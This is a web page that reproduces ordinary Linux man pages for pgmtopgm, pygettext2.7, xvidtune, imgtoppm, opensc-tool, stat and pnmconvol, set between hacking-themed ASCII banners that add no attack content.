               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

786 - Linux cli command pgmtopgm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmtopgm and provides detailed information about the command pgmtopgm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmtopgm.

.

NAME 🖥️ pgmtopgm 🖥️

copy PGM image

SYNOPSIS

pgmtopgm

DESCRIPTION

This program is part of Netpbm(1) .

pgmtopgm simply copies a PGM image from Standard Input to Standard Output. This may seem an unnecessary duplication of cat, but remember that a PGM program can read a PBM image as if it were PGM. So pgmtopgm can read either a PBM or PGM image and produce a PGM image as output.

Even that is of limited usefulness because of the fact that almost any program to which you would feed the resulting PGM image could also just take the original image directly. However, sometimes you really need a true PGM image.

When you know you have a PBM image and want a PGM image, pbmtopgm is a more general way to do that conversion.

OPTIONS

There are no command line options defined specifically for pgmtopgm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

ppmtoppm(1) , pamtopam(1) , pamtopnm(1) , pbmtopgm(1) , pbm(1) , pgm(1) ,

HISTORY

This program was added to Netpbm in Release 10.9 (September 2002).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmtopgm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

787 - Linux cli command pygettext2.7

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pygettext2.7 and provides detailed information about the command pygettext2.7, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pygettext2.7.

NAME 🖥️ pygettext2.7 🖥️

Python equivalent of xgettext(1)

SYNOPSIS

pygettext [OPTIONS] INPUTFILE

DESCRIPTION

pygettext is deprecated. The current version of xgettext supports many languages, including Python.

pygettext uses Python’s standard tokenize module to scan Python source code, generating .pot files identical to what GNU xgettext generates for C and C++ code. From there, the standard GNU tools can be used.

pygettext searches only for _() by default, even though GNU xgettext recognizes the following keywords: gettext, dgettext, dcgettext, and gettext_noop. See the -k/–keyword flag below for how to augment this.

OPTIONS

-a, –extract-all
Extract all strings.

-d, –default-domain=NAME
Rename the default output file from messages.pot to name.pot.

-E, –escape
Replace non-ASCII characters with octal escape sequences.

-D, –docstrings
Extract module, class, method, and function docstrings. These do not need to be wrapped in _() markers, and in fact cannot be for Python to consider them docstrings. (See also the -X option).

-h, –help
Print this help message and exit.

-k, –keyword=WORD
Keywords to look for in addition to the default set, which are: _

You can have multiple -k flags on the command line.

-K, –no-default-keywords
Disable the default set of keywords (see above). Any keywords explicitly added with the -k/–keyword option are still recognized.

–no-location
Do not write filename/lineno location comments.

-n, –add-location
Write filename/lineno location comments indicating where each extracted string is found in the source. These lines appear before each msgid. The style of comments is controlled by the -S/–style option. This is the default.

-o, –output=FILENAME
Rename the default output file from messages.pot to FILENAME. If FILENAME is `-’ then the output is sent to standard out.

-p, –output-dir=DIR
Output files will be placed in directory DIR.

-S, –style=STYLENAME
Specify which style to use for location comments. Two styles are supported:

  • Solaris # File: filename, line: line-number

  • GNU #: filename:line

The style name is case insensitive. GNU style is the default.

-v, –verbose
Print the names of the files being processed.

-V, –version
Print the version of pygettext and exit.

-w, –width=COLUMNS
Set width of output to columns.

-x, –exclude-file=FILENAME
Specify a file that contains a list of strings that are not be extracted from the input files. Each string to be excluded must appear on a line by itself in the file.

-X, –no-docstrings=FILENAME
Specify a file that contains a list of files (one per line) that should not have their docstrings extracted. This is only useful in conjunction with the -D option above.

If `INPUTFILE’ is -, standard input is read.

BUGS

pygettext attempts to be option and feature compatible with GNU xgettext where ever possible. However some options are still missing or are not fully implemented. Also, xgettext’s use of command line switches with option arguments is broken, and in these cases, pygettext just defines additional switches.

AUTHOR

pygettext is written by Barry Warsaw <[email protected]>.

Joonas Paalasmaa <[email protected]> put this manual page together based on “pygettext –help”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

788 - Linux cli command xvidtune

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xvidtune and provides detailed information about the command xvidtune, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xvidtune.

NAME 🖥️ xvidtune 🖥️

video mode tuner for Xorg

SYNOPSIS

xvidtune [ -show | -prev | -next | -unlock | -timeout sec ] [ -toolkitoption . . . ]

DESCRIPTION

Xvidtune is a client interface to the X server video mode extension (XFree86-VidModeExtension).

When given one of the non-toolkit options, xvidtune provides a command line interface to either print or switch the video mode.

Without any options (or with only toolkit options) it presents the user with various buttons and sliders that can be used to interactively adjust existing video modes. It will also print the settings in a format suitable for inclusion in an xorg.conf file.

Normally the Xorg X servers only allow changes to be made with the XFree86-VidModeExtension from clients connected via a local connection type.

Note: The original mode settings can be restored by pressing the `R’ key, and this can be used to restore a stable screen in situations where the screen becomes unreadable.

The available buttons are:

Left
Right
Up
Down

Adjust the video mode so that the display will be moved in the appropriate direction.

Wider
Narrower
Shorter
Taller

Adjust the video mode so that the display size is altered appropriately.

Quit
Exit the program.

Apply
Adjust the current video mode to match the selected settings.

Auto
Cause the Up/Down/Right/Left, Wider/Narrower/Shorter/Taller, Restore, and the special S3 buttons to be applied immediately. This button can be toggled.

Test
Temporarily switch to the selected settings.

Restore
Return the settings to their original values.

Fetch
Query the server for its current settings.

Show
Print the currently selected settings to stdout in xorg.conf “Modeline” format. The primary selection is similarly set.

Next
Switch the Xserver to the next video mode.

Prev
Switch the Xserver to the previous video mode.

For some S3-based cards (964 and 968) the following are also available:

InvertVCLK
Change the VCLK invert/non-invert state.

EarlySC
Change the Early SC state. This affects screen wrapping.

BlankDelay1
BlankDelay2

Set the blank delay values. This affects screen wrapping. Acceptable values are in the range 0-7. The values may be incremented or decremented with the `+’ and `-’ buttons, or by pressing the `+’ or `-’ keys in the text field.

For S3-864/868 based cards InvertVCLK and BlankDelay1 may be useful. For S3 Trio32/Trio64 cards only InvertVCLK is available. At the moment there are no default settings available for these chips in the video mode extension and thus this feature is disabled in xvidtune. It can be enabled by setting any of the optional S3 commands in the screen section of xorg.conf, e.g. using

blank_delay "∗" 0

OPTIONS

xvidtune accepts the standard X Toolkit command line options as well as the following:

-show
Print the current settings to stdout in xorg.conf “Modeline” format and exit.

-prev
Switch the Xserver to the previous video mode.

-next
Switch the Xserver to the next video mode.

-unlock
Normally, xvidtune will disable the switching of video modes via hot-keys while it is running. If for some reason the program did not exit cleanly and they are still disabled, the program can be re-run with this option to re-enable the mode switching key combinations.

-timeout sec
Set testmode timeout in seconds.

SEE ALSO

xrandr(1), Xorg(1), xorg.conf(5).

AUTHORS

Kaleb S. Keithley, X Consortium.
Additions and modifications by Jon Tombs, David Dawes, and Joe Moss.

BUGS

X Error handling, i.e. when the server does not allow xvidtune clients to write new modes, could be better.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

789 - Linux cli command imgtoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command imgtoppm and provides detailed information about the command imgtoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the imgtoppm.

.

NAME 🖥️ imgtoppm 🖥️

convert an Img-whatnot file into a PPM image

SYNOPSIS

imgtoppm [imgfile]

DESCRIPTION

This program is part of Netpbm(1) .

imgtoppmreads an Img-whatnot file as input and produces a PPM image as output. The Img-whatnot toolkit is available for FTP on venera.isi.edu, along with numerous images in this format.

OPTIONS

There are no command line options defined specifically for imgtoppm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

ppm(1)

AUTHOR

Based on a simple conversion program posted to comp.graphics by Ed Falk.

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/imgtoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

790 - Linux cli command opensc-tool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command opensc-tool and provides detailed information about the command opensc-tool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the opensc-tool.

NAME 🖥️ opensc-tool 🖥️

tool - generic smart card utility

SYNOPSIS

opensc-tool [OPTIONS]

DESCRIPTION

The opensc-tool utility can be used from the command line to perform miscellaneous smart card operations such as getting the card ATR or sending arbitrary APDU commands to a card.

OPTIONS

–version

Print the OpenSC package release version.

–atr, -a

Print the Answer To Reset (ATR) of the card. Output is in hex byte format

–card-driver driver, -c driver

Use the given card driver. The default is to auto-detect the correct card driver. The literal value ? lists all available card drivers.

–list-algorithms,

Lists algorithms supported by card

–info, -i

Print information about OpenSC, such as version and enabled components.

–list-drivers, -D

List all installed card drivers.

–list-files, -f

Recursively list all files stored on card.

–list-readers, -l

List all configured readers.

–name, -n

Print the name of the inserted card (driver).

–get-conf-entry conf, -G conf

Get configuration key, format: section:name:key

–set-conf-entry conf, -S conf

Set configuration key, format: section:name:key:value

–reader arg, -r arg

Number of the reader to use. By default, the first reader with a present card is used. If arg is an ATR, the reader with a matching card will be chosen.

–reset [type],

Resets the card in reader. The default reset type is cold, but warm reset is also possible.

–send-apdu apdu, -s apdu

Sends an arbitrary APDU to the card in the format AA:BB:CC:DD:EE:FF…. Use this option multiple times to send more than one APDU.

The built-in card drivers may send additional APDUs for detection and initialization. To avoid this behavior, you may additionally specify –card-driver default.

–serial

Print the card serial number (normally the ICCSN). Output is in hex byte format

–verbose, -v

Causes opensc-tool to be more verbose. Specify this flag several times to enable debug output in the opensc library.

–wait, -w

Wait for a card to be inserted.

SEE ALSO

opensc-explorer(1)

AUTHORS

opensc-tool was written by Juha Yrjölä <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

791 - Linux cli command stat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command stat and provides detailed information about the command stat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the stat.

NAME 🖥️ stat 🖥️

display file or file system status

SYNOPSIS

stat [OPTION]… FILE

DESCRIPTION

Display file or file system status.

Mandatory arguments to long options are mandatory for short options too.

-L, –dereference
follow links

-f, –file-system
display file system status instead of file status

–cached=MODE
specify how to use cached attributes; useful on remote file systems. See MODE below

-c –format=FORMAT
use the specified FORMAT instead of the default; output a newline after each use of FORMAT

–printf=FORMAT
like –format, but interpret backslash escapes, and do not output a mandatory trailing newline; if you want a newline, include in FORMAT

-t, –terse
print the information in terse form

–help
display this help and exit

–version
output version information and exit

The MODE argument of –cached can be: always, never, or default. ‘always’ will use cached attributes if available, while ’never’ will try to synchronize with the latest attributes, and ‘default’ will leave it up to the underlying file system.

The valid format sequences for files (without –file-system):

%a
permission bits in octal (note ‘#’ and ‘0’ printf flags)

%A
permission bits and file type in human readable form

%b
number of blocks allocated (see %B)

%B
the size in bytes of each block reported by %b

%C
SELinux security context string

%d
device number in decimal (st_dev)

%D
device number in hex (st_dev)

%Hd
major device number in decimal

%Ld
minor device number in decimal

%f
raw mode in hex

%F
file type

%g
group ID of owner

%G
group name of owner

%h
number of hard links

%i
inode number

%m
mount point

%n
file name

%N
quoted file name with dereference if symbolic link

%o
optimal I/O transfer size hint

%s
total size, in bytes

%r
device type in decimal (st_rdev)

%R
device type in hex (st_rdev)

%Hr
major device type in decimal, for character/block device special files

%Lr
minor device type in decimal, for character/block device special files

%t
major device type in hex, for character/block device special files

%T
minor device type in hex, for character/block device special files

%u
user ID of owner

%U
user name of owner

%w
time of file birth, human-readable; - if unknown

%W
time of file birth, seconds since Epoch; 0 if unknown

%x
time of last access, human-readable

%X
time of last access, seconds since Epoch

%y
time of last data modification, human-readable

%Y
time of last data modification, seconds since Epoch

%z
time of last status change, human-readable

%Z
time of last status change, seconds since Epoch

Valid format sequences for file systems:

%a
free blocks available to non-superuser

%b
total data blocks in file system

%c
total file nodes in file system

%d
free file nodes in file system

%f
free blocks in file system

%i
file system ID in hex

%l
maximum length of filenames

%n
file name

%s
block size (for faster transfers)

%S
fundamental block size (for block counts)

%t
file system type in hex

%T
file system type in human readable form

–terse is equivalent to the following FORMAT:

%n %s %b %f %u %g %D %i %h %t %T %X %Y %Z %W %o %C

–terse –file-system is equivalent to the following FORMAT:

%n %i %l %t %s %S %b %f %a %c %d

NOTE: your shell may have its own version of stat, which usually supersedes the version described here. Please refer to your shell’s documentation for details about the options it supports.

AUTHOR

Written by Michael Meskes.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

stat(2), statfs(2), statx(2)

Full documentation <https://www.gnu.org/software/coreutils/stat>
or available locally via: info ‘(coreutils) stat invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

792 - Linux cli command pnmconvol

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmconvol and provides detailed information about the command pnmconvol, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmconvol.

.

NAME 🖥️ pnmconvol 🖥️

general MxN convolution on a Netpbm image

SYNOPSIS

pnmconvol { -matrix=convolution_matrix | -matrixfile=filename[,filename[, …]] } [-normalize] [**-bias=**n]

[netpbmfile]

pnmconvol convolution_matrix_file [-normalize*]* [-nooffset*]* [netpbmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pnmconvol reads a Netpbm image as input, convolves it with a specified convolution matrix, and writes a Netpbm image as output.

A command use for convolution is blurring. See examples in the pamgauss(1) manual.

Convolution means replacing each pixel with a weighted average of the nearby pixels. The weights and the area to average are determined by the convolution matrix (sometimes called a convolution kernel), which you supply in one of several ways. See Convolution Matrix .

At the edges of the convolved image, where the convolution matrix would extend over the edge of the image, pnmconvol just copies the input pixels directly to the output. It’s often better to deal with the pixels near an edge by assuming some blank or background color beyond the edge. To do that, use pnmpad to add a margin all around whose size is half that of your convolution matrix size, not counting its center, in the same dimension. (E.g. if your convolution matrix is 5 wide by 3 high, use pnmpad -left=2 -right=2 -top=1 -bottom=1). Feed that enlarged image to pnmconvol*, then use* pamcut to chop the edges off the convolved output, getting back to your original image dimensions. (E.g. pamcut -left=2 -right=-2 -top=1 -bottom=-1).

The convolution computation can result in a value which is outside the range representable in the output. When that happens, pnmconvol just clips the output, which means brightness is not conserved.

To avoid clipping, you may want to scale your input values. For example, if your convolution matrix might produce an output value as much as double the maximum value in the input, then make sure the maxval of the input (which is also the maxval of the output) is at least twice the actual maximum value in the input.

Clipping negative numbers deserves special consideration. If your convolution matrix includes negative numbers, it is possible for pnmconvol to calculate an output pixel as a negative value, which pnmconvol would of course clip to zero, since Netpbm formats cannot represent negative numbers.

Convolution Matrix

There are three ways to specify the convolution matrix:

  • directly with a -matrix option.

  • In a file (or set of them) named by a -matrixfile option, whose contents are similar to a -matrix option value.

  • With a special PNM file.

The PNM file option is the hardest, and exists only because until Netpbm 10.49 (December 2009), it was the only way.

The regular convolution matrix file is slightly easier to read than the -matrix option value, and makes your command line less messy, but requires you to manage a separate file. With the file, you can have separate convolution matrices for the individual color components, which you can’t do with -matrix*.*

In any case, the convolution matrix pnmconvol uses is a matrix of real numbers. They can be whole or fractional, positive, negative, or zero.

The convolution matrix always has an odd width and height, so that there is a center element. pnmconvol figuratively places that center element over a pixel of the input image and weights that pixel and its neighbors as indicated by the convolution matrix to produce the pixel in the same location of the output image.

For a normal convolution, where you’re neither adding nor subtracting total value from the image, but merely moving it around, you’ll want to make sure that all the numbers in the matrix add up to 1. If they don’t, pnmconvol warns you.

The elements of the matrix are actually tuples, one for each sample in the input. (I.e. if the input is an RGB image, each element of the convolution matrix has one weight for red, one for green, and one for blue.

Directly On the Command Line

Here are examples of a -matrix option:

    -matrix=0,.2,0;.2,.2,.2;0,.2,0

    -matrix=-1,3,-1

The value consists of each row of the matrix from top to bottom, separated by semicolons. Each row consists of the elements of the row from left to right, separated by commas. You must of course have the same number of elements in each row. Each element is a decimal floating point number and is the weight to give to each component of a pixel that corresponds to that matrix location.

Note that when you supply this option via a shell, semicolon (";") probably means something to the shell, so use quotation marks.

There is no way with this method to have different weights for different components of a pixel.

The -normalize option is often quite handy with -matrix because it lets you quickly throw together the command without working out the math to make sure the matrix isn’t biased. Note that if you use the -normalize option, the weights in the matrix aren’t actually the numbers you specify in the -matrix option.

Regular Matrix File

Specify the name of the matrix file with a -matrixfile option. Or specify a list of them, one for each plane of the image.

Examples:

    -matrixfile=mymatrix

    -matrixfile=myred,mygreen,myblue

Each file applies to one plane of the image (e.g. red, green, or blue), in order. The matrix in each file must have the same dimensions. If the input image has more planes than the number of files you specify, the first file applies to the extra planes as well.

pnmconvol interprets the file as text, with lines delimited by Unix newline characters (line feeds).

Each line of the file is one row of the matrix, in order from top to bottom.

For each row, the file contains a floating point decimal number for each element in the row, from left to right, separated by spaces. This is not just any old white space – it is exactly one space. Two spaces in a row mean you’ve specified a null string for an element (which is invalid). If you want to line up your matrix visually, use leading and trailing zeroes in the floating point numbers to do it.

There is no way to put comments in the file. There is no signature or any other metadata in the file.

Note that if you use the -normalize option, the weights in the matrix aren’t actually what is in the file.

PNM File

Before Netpbm 10.49 (December 2009), this was the only way to specify a convolution matrix. pnmconvol used this method in an attempt to exploit the generic matrix processing capabilities of Netpbm, but as the Netpbm formats don’t directly allow matrices with the kinds of numbers you need in a convolution matrix, it is quite cumbersome. In fact, there simply is no way to specify some convolution matrices with a legal Netpbm image, so to make it work, pnmconvol has to relax the Netpbm file requirement that sample values be no greater than the image’s maxval. I.e. it isn’t even a real PNM file.

The way you select this method of supplying the convolution matrix is to not specify -matrix or -matrixfile*. When you do that,* you must specify the name of the PNM file (or PNM equivalent PAM file) as a non-option argument (before the optional input file name).

There are two ways pnmconvol interprets the PNM convolution matrix image pixels as weights: with offsets, and without offsets.

The simpler of the two is without offsets. That is what happens when you specify the -nooffset option. In that case, pnmconvol simply normalizes the sample values in the PNM image by dividing by the maxval.

For example, here is a sample convolution file that causes an output pixel to be a simple average of its corresponding input pixel and its 8 neighbors, resulting in a smoothed image:

    P2
    3 3
    18
    2 2 2
    2 2 2
    2 2 2

(Note that the above text is an actual PGM file – you can cut and paste it. If you’re not familiar with the plain PGM format, see the PGM format specification(1) ).

pnmconvol divides each of the sample values (2) by the maxval (18) so the weight of each of the 9 input pixels gets is 1/9, which is exactly what you want to keep the overall brightness of the image the same. pnmconvol creates an output pixel by multiplying the values of each of 9 pixels by 1/9 and adding.

Note that with maxval 18, the range of possible values is 0 to 18. After scaling, the range is 0 to 1.

For a normal convolution, where you’re neither adding nor subtracting total value from the image, but merely moving it around, you’ll want to make sure that all the scaled values in (each plane of) your convolution PNM add up to 1, which means all the actual sample values add up to the maxval. Alternatively, you can use the -normalize option to scale the scaled values further to make them all add up to 1 automatically.

When you don’t specify -nooffset*,* pnmconvol applies an offset, the purpose of which is to allow you to indicate negative weights even though PNM sample values are never negative. In this case, pnmconvol subtracts half the maxval from each sample and then normalizes by dividing by half the maxval. So to get the same result as we did above with -nooffset*, the convolution* matrix PNM image would have to look like this:

    P2
    3 3
    18
    10 10 10
    10 10 10
    10 10 10

To see how this works, do the above-mentioned offset: 10 - 18/2 gives 1. The normalization step divides by 18/2 = 9, which makes it 1/9 - exactly what you want. The equivalent matrix for 5x5 smoothing would have maxval 50 and be filled with 26.

Note that with maxval 18, the range of possible values is 0 to 18. After offset, that’s -9 to 9, and after normalizing, the range is -1 to 1.

The convolution file will usually be a PGM, so that the same convolution gets applied to each color component. However, if you want to use a PPM and do a different convolution to different colors, you can certainly do that.

Other Forms of Convolution

pnmconvol does only arithmetic, linear combination convolution. There are other forms of convolution that are especially useful in image processing.

pgmmedian does median filtering, which is a form of convolution where the output pixel value, rather than being a linear combination of the pixels in the window, is the median of a certain subset of them.

pgmmorphconv does dilation and erosion, which is like the median filter but the output value is the minimum or maximum of the values in the window.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet*, see* Common Options ), pnmconvol recognizes the following command line options:

**-matrix=**convolution_matrix
The value of the convolution matrix. See Convolution Matrix .

You may not specify both this and -matrixfile*.*

This option was new in Netpbm 10.49 (December 2009). Before that, use a PNM file for the convolution matrix.

**-matrixfile=**filename
This specifies that you are supplying the convolution matrix in a file and names that file. See Convolution Matrix .

You may not specify both this and -matrix*.*

This option was new in Netpbm 10.49 (December 2009). Before that, use a PNM file for the convolution matrix.

-normalize
This option says to adjust the weights in your convolution matrix so they all add up to one. You usually want them to add up to one so that the convolved result tends to have the same overall brightness as the input. With -normalize*,* pnmconvol scales all the weights by the same factor to make the sum one. It does this for each plane.

This can be quite convenient because you can just throw numbers into the matrix that have roughly the right relationship to each other and let pnmconvol do the work of normalizing them. And you can adjust a matrix by raising or lowering certain weights without having to modify all the other weights to maintain normalcy. And you can use friendly integers.

Example:

    $ pnmconvol myimage.ppm -normalize -matrix=1,1,1;1,1,1;1,1,1

This is of course a basic 3x3 average, but without you having to specify 1/9 (.1111111) for each weight.

This option was new in Netpbm 10.50 (March 2010). But before Netpbm 10.79 (June 2017), it has no effect when you specify the convolution matrix via pseudo-PNM file.

**-bias=**n
This specifies an amount to add to the convolved value for each sample.

The purpose of this addition is normally to handle negative convolution results. Because the convolution matrix can contain negative numbers, the convolved value for a pixel could be negative. But Netpbm formats cannot contain negative sample values, so without any bias, such samples would get clipped to zero. The bias allows the output image to retain the information, and a program that pocesses that output, knowing the bias value, could reconstruct the real convolved values.

For example, with bias=100*, a sample whose convolved value is -5* appears as 95 in the output, whereas a sample whose convolved value is 5 appears as 105 in the output.

A typical value for the bias is half the maxval, allowing the same range on either side of zero.

If the sample value, after adding the bias, is still less than zero, pnmconvol clips it to zero. If it exceeds the maxval of the output image, it clips it to the maxval.

The default is zero.

This option was new in Netpbm 10.68 (September 2014).

-nooffset=
This is part of the obsolete PNM image method of specifying the convolution matrix. See Convolution Matrix .

HISTORY

The -nooffset option was new in Netpbm 10.23 (July 2004), making it substantially easier to specify a convolution matrix, but still hard. In Netpbm 10.49 (December 2009), the PNM convolution matrix tyranny was finally ended with the -matrix and -matrixfile options. In between, pnmconvol was broken for a while because the Netpbm library started enforcing the requirement that a sample value not exceed the maxval of the image. pnmconvol used the Netpbm library to read the PNM convolution matrix file, but in the pseudo-PNM format that pnmconvol uses, a sample value sometimes has to exceed the maxval.

SEE ALSO

pnmsmooth(1) , pgmmorphconv(1) , pgmmedian(1) , pnmnlfilt(1) , pgmkernel(1) , pamgauss(1) , pammasksharpen(1) , pnmpad(1) , pamcut(1) , pnm(1)

AUTHORS

Copyright (C) 1989, 1991 by Jef Poskanzer. Modified 26 November 1994 by Mike Burns, [email protected]

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmconvol.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

